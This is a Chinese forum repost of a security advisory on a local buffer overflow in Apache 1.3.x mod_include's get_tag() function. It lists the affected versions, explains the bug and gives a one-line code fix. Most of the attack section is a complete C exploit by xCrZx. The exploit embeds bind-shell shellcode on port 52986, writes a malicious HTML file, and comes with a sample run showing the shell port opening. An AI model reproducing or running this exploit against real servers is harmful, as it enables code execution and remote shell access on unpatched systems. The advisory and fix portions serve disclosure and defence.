发新话题
打印

[转载]Apache mod_include本地缓冲区溢出漏洞

[转载]Apache mod_include本地缓冲区溢出漏洞

信息来源:nsfocus  
 
受影响系统:
Apache Software Foundation Apache 1.3.29
Apache Software Foundation Apache 1.3.28
Apache Software Foundation Apache 1.3.27
Apache Software Foundation Apache 1.3.26
Apache Software Foundation Apache 1.3.25
Apache Software Foundation Apache 1.3.24
Apache Software Foundation Apache 1.3.23
Apache Software Foundation Apache 1.3.22
Apache Software Foundation Apache 1.3.20
Apache Software Foundation Apache 1.3.19
Apache Software Foundation Apache 1.3.18
Apache Software Foundation Apache 1.3.17
Apache Software Foundation Apache 1.3.14
Apache Software Foundation Apache 1.3.12
Apache Software Foundation Apache 1.3.11
Apache Software Foundation Apache 1.3.31
   - RedHat Linux 9.0
描述:
--------------------------------------------------------------------------------
mod_include是Apache标准模块允许用户在HTML中包含文件执行命令等。

mod_include get_tag()对用户提交输入缺少充分过滤,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。

问题是get_tag()函数存在缓冲区溢出问题,攻击者从handle_echo()函数可以触发,本地用户可以建立特殊的HTML,当Apache处理时,可能以httpd子进程权限执行任意代码。

<*来源:Crazy Einstein (crazy_einstein@yahoo.com
  
  链接:http://securitytracker.com/alerts/2004/Oct/1011783.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Crazy Einstein (crazy_einstein@yahoo.com)提供了如下测试方法:

/*********************************************************************************
local exploit for mod_include of apache 1.3.x                        *
written by xCrZx                 /18.10.2004/                  *
bug found by xCrZx                /18.10.2004/                  *
                                                      *
y0das old shao lin techniq ownz u :) remember my words                  *
http://lbyte.ru/16-masta_killa-16-mastakilla-mad.mp3                   *
                                                      *
Successfully tested on apache 1.3.31 under Linux RH9.0(Shrike)            *
*********************************************************************************/

/*********************************************************************************
Technical Details:                                          *
                                                      *
there is an overflow in get_tag function:                          *
                                                      *
static char *get_tag(pool *p, FILE *in, char *tag, int tagbuf_len, int dodecode) *
{                                                      *
...                                                    *
   term = c;                                              *
   while (1) {                                            *
      GET_CHAR(in, c, NULL, p);                                *
[1]      if (t - tag == tagbuf_len) {                            *
        *t = &#39;\0&#39;;                                        *
        return NULL;                                      *
      }                                                *
// Want to accept \" as a valid character within a string. //              *
      if (c == &#39;\\&#39;) {                                      *
[2]        *(t++) = c;      // Add backslash //                  *
        GET_CHAR(in, c, NULL, p);                              *
        if (c == term) {   // Only if //                        *
[3]           *(--t) = c;    // Replace backslash ONLY for terminator //  *
        }                                              *
      }                                                *
      else if (c == term) {                                   *
        break;                                          *
      }                                                *
[4]      *(t++) = c;                                        *
   }                                                   *
   *t = &#39;\0&#39;;                                             *
...                                                    *
                                                      *
as we can see there is a [1] check to determine the end of tag buffer        *
but this check can be skiped when [2] & [4] conditions will be occured        *
at the same time without [3] condition.                            *
                                                      *
So attacker can create malicious file to overflow static buffer, on          *
which tag points out and execute arbitrary code with privilegies of          *
httpd child process.                                         *
                                                      *
Fix:                                                    *
[1*]      if (t - tag >= tagbuf_len-1) {                          *
                                                      *
Notes: To activate mod_include you need write "XBitHack on" in httpd.conf      *
                                                      *
*********************************************************************************/

/*********************************************************************************
  Example of work:                                          *
                                                      *
  [root@blacksand htdocs]# make 85mod_include                        *
  cc    85mod_include.c  -o 85mod_include                          *
  [root@blacksand htdocs]# ./85mod_include 0xbfff8196 > evil.html           *
  [root@blacksand htdocs]# chmod +x evil.html                        *
  [root@blacksand htdocs]# netstat -na|grep 52986                      *
  [root@blacksand htdocs]# telnet localhost 8080                      *
  Trying 127.0.0.1...                                        *
  Connected to localhost.                                      *
  Escape character is &#39;^]&#39;.                                    *
  GET /evil.html HTTP/1.0                                      *
  ^]                                                    *
  telnet> q                                               *
  Connection closed.                                         *
  [root@blacksand htdocs]# netstat -na|grep 52986                      *
  tcp      0    0 0.0.0.0:52986        0.0.0.0:*          LISTEN    *
  [root@blacksand htdocs]#                                     *
*********************************************************************************/

/*********************************************************************************
  Notes: ha1fsatan - ti 4elovek-kakashka :))) be co0l as always            *
*********************************************************************************/

/*********************************************************************************
  Personal hello to my parents :)                                *
*********************************************************************************/

/*********************************************************************************
Public shoutz to: m00 security, ech0 :), LByte, 0xbadc0ded and otherz        *
*********************************************************************************/


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define EVILBUF 8202
#define HTMLTEXT 1000

#define HTML_FORMAT "<html>\n<!--#echo done=\"%s\" -->\nxCrZx 0wn U\n</html>"

#define AUTHOR "\n*** local exploit for mod_include of apache 1.3.x by xCrZx /18.10.2004/ ***\n"

int main(int argc, char **argv) {

   char html[EVILBUF+HTMLTEXT];
   char evilbuf[EVILBUF+1];

   //can be changed
   char shellcode[] =

   // bind shell on 52986 port
   "\x31\xc0"
   "\x31\xdb\x53\x43\x53\x89\xd8\x40\x50\x89\xe1\xb0\x66\xcd\x80\x43"
   "\x66\xc7\x44\x24\x02\xce\xfa\xd1\x6c\x24\x04\x6a\x10\x51\x50\x89"
   "\xe1\xb0\x66\xcd\x80\x43\x43\xb0\x66\xcd\x80\x43\x89\x61\x08\xb0"
   "\x66\xcd\x80\x93\x31\xc9\xb1\x03\x49\xb0\x3f\xcd\x80\x75\xf9\x68"
   "\x2f\x73\x68\x20\x68\x2f\x62\x69\x6e\x88\x4c\x24\x07\x89\xe3\x51"
   "\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

   //execve /tmp/sh <- your own program
  /*
   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
   "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
   "\xc0\x88\x43\x07\x89\x5b\x08\x89"
   "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
   "\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
   "/tmp/sh";
  */


   char NOP[] = "\x90\x40";         // special nops ;)
   char evilpad[] = "\\CRZCRZCRZCRZC";  // trick ;)

   int padding,xpad=0;
   int i,fd;
   long ret=0xbfff8688;

   if(argc>1) ret=strtoul(argv[1],0,16);
   else { fprintf(stderr,AUTHOR"\nUsage: %s <RET ADDR> > file.html\n\n",argv[0]);exit(0); }

   padding=(EVILBUF-1-strlen(shellcode)-4-strlen(evilpad)+2);

   while(1) {
      if(padding%2==0) { padding/=2; break;}
      else {padding--;xpad++;}
   }

   memset(html,0x0,sizeof html);
   memset(evilbuf,0x0,sizeof evilbuf);

   for(i=0;i<padding;i++)
      memcpy(evilbuf+strlen(evilbuf),&NOP,2);
   for(i=0;i<xpad;i++)
      memcpy(evilbuf+strlen(evilbuf),(evilbuf[strlen(evilbuf)-1]==NOP[1])?(&NOP[0]):(&NOP[1]),1);

   memcpy(evilbuf+strlen(evilbuf),&shellcode,sizeof shellcode);
   memcpy(evilbuf+strlen(evilbuf),&evilpad,sizeof evilpad);
   *(long*)&evilbuf[strlen(evilbuf)]=ret;

   sprintf(html,HTML_FORMAT,evilbuf);

   printf("%s",html);

   return 0;
}

建议:
--------------------------------------------------------------------------------
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 更改get_tag()函数的如下行:

if (t - tag == tagbuf_len) {  



if (t - tag >= tagbuf_len-1) {

厂商补丁:

Apache Software Foundation
--------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://httpd.apache.org/
qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题